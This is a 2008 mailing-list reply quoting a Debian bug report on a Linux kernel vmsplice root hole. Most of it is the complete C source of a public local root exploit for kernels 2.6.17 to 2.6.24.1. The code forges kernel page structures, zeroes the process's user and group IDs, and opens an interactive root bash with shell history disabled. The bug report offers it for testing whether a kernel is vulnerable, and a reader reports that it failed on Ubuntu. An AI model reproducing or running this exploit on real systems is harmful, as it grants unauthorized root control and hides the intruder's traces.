I just tried this on Ubuntu-Server (7.04) and it didn't work. Running
2.6.20-16-server

On Feb 10, 2008 7:48 PM, Bill Sconce <[EMAIL PROTECTED]> wrote:
> [ I just compiled and tried it.  Sure enough, the program below,
> run from user mode, gets a root shell.  Yike.]
>
> [ There doesn't seem to be any activity on the list since early
> Saturday; I imagine that someone else has written about this already.
> -Bill]
>
> [ From
>   http://lists.debian.org/debian-kernel/2008/02/msg00343.html
> .]
>
>
> Package: linux-2.6
> Version: 2.6.22-3-generic
> Severity: critical
> Tags: security
> Justification: root security hole
>
> There is a security hole in all versions of linux-2.6 distributed by
> Debian, including Etch's kernel.
>
> The attached exploit code can be used to test if a kernel is vulnerable,
> it starts a root shell.
>
> -- System Information:
> Debian Release: lenny/sid
>   APT prefers testing
>   APT policy: (500, 'testing')
> Architecture: i386 (i686)
>
> Kernel: Linux 2.6.22-3-generic (SMP w/8 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/bash
>
> *** proof-of-concept.c
> /*
>  * Linux vmsplice Local Root Exploit
>  * By qaaz
>  *
>  * Linux 2.6.17 - 2.6.24.1
>  */
>
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <string.h>
> #include <malloc.h>
> #include <limits.h>
> #include <signal.h>
> #include <unistd.h>
> #include <sys/uio.h>
> #include <sys/mman.h>
> #include <asm/page.h>
> #define __KERNEL__
> #include <asm/unistd.h>
>
> #define PIPE_BUFFERS    16
> #define PG_compound     14
> #define uint            unsigned int
> #define static_inline   static inline __attribute__((always_inline))
> #define STACK(x)        (x + sizeof(x) - 40)
>
> struct page {
>         unsigned long flags;
>         int count;
>         int mapcount;
>         unsigned long private;
>         void *mapping;
>         unsigned long index;
>         struct { long next, prev; } lru;
> };
>
> void    exit_code();
> char    exit_stack[1024 * 1024];
>
> void    die(char *msg, int err)
> {
>         printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
>         fflush(stdout);
>         fflush(stderr);
>         exit(1);
> }
>
> #if defined (__i386__)
>
> #ifndef __NR_vmsplice
> #define __NR_vmsplice   316
> #endif
>
> #define USER_CS         0x73
> #define USER_SS         0x7b
> #define USER_FL         0x246
>
> static_inline
> void    exit_kernel()
> {
>         __asm__ __volatile__ (
>         "movl %0, 0x10(%%esp) ;"
>         "movl %1, 0x0c(%%esp) ;"
>         "movl %2, 0x08(%%esp) ;"
>         "movl %3, 0x04(%%esp) ;"
>         "movl %4, 0x00(%%esp) ;"
>         "iret"
>         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
>             "i" (USER_CS), "r" (exit_code)
>         );
> }
>
> static_inline
> void *  get_current()
> {
>         unsigned long curr;
>         __asm__ __volatile__ (
>         "movl %%esp, %%eax ;"
>         "andl %1, %%eax ;"
>         "movl (%%eax), %0"
>         : "=r" (curr)
>         : "i" (~8191)
>         );
>         return (void *) curr;
> }
>
> #elif defined (__x86_64__)
>
> #ifndef __NR_vmsplice
> #define __NR_vmsplice   278
> #endif
>
> #define USER_CS         0x23
> #define USER_SS         0x2b
> #define USER_FL         0x246
>
> static_inline
> void    exit_kernel()
> {
>         __asm__ __volatile__ (
>         "swapgs ;"
>         "movq %0, 0x20(%%rsp) ;"
>         "movq %1, 0x18(%%rsp) ;"
>         "movq %2, 0x10(%%rsp) ;"
>         "movq %3, 0x08(%%rsp) ;"
>         "movq %4, 0x00(%%rsp) ;"
>         "iretq"
>         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
>             "i" (USER_CS), "r" (exit_code)
>         );
> }
>
> static_inline
> void *  get_current()
> {
>         unsigned long curr;
>         __asm__ __volatile__ (
>         "movq %%gs:(0), %0"
>         : "=r" (curr)
>         );
>         return (void *) curr;
> }
>
> #else
> #error "unsupported arch"
> #endif
>
> #if defined (_syscall4)
> #define __NR__vmsplice  __NR_vmsplice
> _syscall4(
>         long, _vmsplice,
>         int, fd,
>         struct iovec *, iov,
>         unsigned long, nr_segs,
>         unsigned int, flags)
>
> #else
> #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
> #endif
>
> static uint uid, gid;
>
> void    kernel_code()
> {
>         int     i;
>         uint    *p = get_current();
>
>         for (i = 0; i < 1024-13; i++) {
>                 if (p[0] == uid && p[1] == uid &&
>                     p[2] == uid && p[3] == uid &&
>                     p[4] == gid && p[5] == gid &&
>                     p[6] == gid && p[7] == gid) {
>                         p[0] = p[1] = p[2] = p[3] = 0;
>                         p[4] = p[5] = p[6] = p[7] = 0;
>                         p = (uint *) ((char *)(p + 8) + sizeof(void *));
>                         p[0] = p[1] = p[2] = ~0;
>                         break;
>                 }
>                 p++;
>         }
>
>         exit_kernel();
> }
>
> void    exit_code()
> {
>         if (getuid() != 0)
>                 die("wtf", 0);
>
>         printf("[+] root\n");
>         putenv("HISTFILE=/dev/null");
>         execl("/bin/bash", "bash", "-i", NULL);
>         die("/bin/bash", errno);
> }
>
> int     main(int argc, char *argv[])
> {
>         int             pi[2];
>         size_t          map_size;
>         char *          map_addr;
>         struct iovec    iov;
>         struct page *   pages[5];
>
>         uid = getuid();
>         gid = getgid();
>         setresuid(uid, uid, uid);
>         setresgid(gid, gid, gid);
>
>         printf("-----------------------------------\n");
>         printf(" Linux vmsplice Local Root Exploit\n");
>         printf(" By qaaz\n");
>         printf("-----------------------------------\n");
>
>         if (!uid || !gid)
>                 die("[EMAIL PROTECTED]", 0);
>
>         /*****/
>         pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
>         pages[1] = pages[0] + 1;
>
>         map_size = PAGE_SIZE;
>         map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
>                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>         if (map_addr == MAP_FAILED)
>                 die("mmap", errno);
>
>         memset(map_addr, 0, map_size);
>         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
>         printf("[+] page: 0x%lx\n", pages[0]);
>         printf("[+] page: 0x%lx\n", pages[1]);
>
>         pages[0]->flags    = 1 << PG_compound;
>         pages[0]->private  = (unsigned long) pages[0];
>         pages[0]->count    = 1;
>         pages[1]->lru.next = (long) kernel_code;
>
>         /*****/
>         pages[2] = *(void **) pages[0];
>         pages[3] = pages[2] + 1;
>
>         map_size = PAGE_SIZE;
>         map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
>                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>         if (map_addr == MAP_FAILED)
>                 die("mmap", errno);
>
>         memset(map_addr, 0, map_size);
>         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
>         printf("[+] page: 0x%lx\n", pages[2]);
>         printf("[+] page: 0x%lx\n", pages[3]);
>
>         pages[2]->flags    = 1 << PG_compound;
>         pages[2]->private  = (unsigned long) pages[2];
>         pages[2]->count    = 1;
>         pages[3]->lru.next = (long) kernel_code;
>
>         /*****/
>         pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
>         map_size = PAGE_SIZE;
>         map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
>                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>         if (map_addr == MAP_FAILED)
>                 die("mmap", errno);
>         memset(map_addr, 0, map_size);
>         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
>         printf("[+] page: 0x%lx\n", pages[4]);
>
>         /*****/
>         map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
>         map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
>                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>         if (map_addr == MAP_FAILED)
>                 die("mmap", errno);
>
>         memset(map_addr, 0, map_size);
>         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
>
>         /*****/
>         map_size -= 2 * PAGE_SIZE;
>         if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
>                 die("munmap", errno);
>
>         /*****/
>         if (pipe(pi) < 0) die("pipe", errno);
>         close(pi[0]);
>
>         iov.iov_base = map_addr;
>         iov.iov_len  = ULONG_MAX;
>
>         signal(SIGPIPE, exit_code);
>         _vmsplice(pi[1], &iov, 1, 0);
>         die("vmsplice", errno);
>         return 0;
> }
>
>
>
> Reply to:
>
>     * [EMAIL PROTECTED]
>     * William Pitcock (on-list)
>     * William Pitcock (off-list)
>
>     * Prev by Date: Re: [Pkg-cryptsetup-devel] Bug#464673: cryptsetup seems 
> to try to load some padlock modules
>     * Next by Date: Processed: mail for bts bot
>     * Previous by thread: Bug#464945: linux-image-2.6.18-6-686: Exploit for 
> vmsplice work for linux-image-2.18-5-686 (CVE-2008-0009/10)
>     * Next by thread: Processed: mail for bts bot
>     * Index(es):
>           o Date
>           o Thread
> _______________________________________________
> gnhlug-discuss mailing list
> gnhlug-discuss@mail.gnhlug.org
> http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
>



-- 
Travis Roy
_______________________________________________
gnhlug-discuss mailing list
gnhlug-discuss@mail.gnhlug.org
http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/

Reply via email to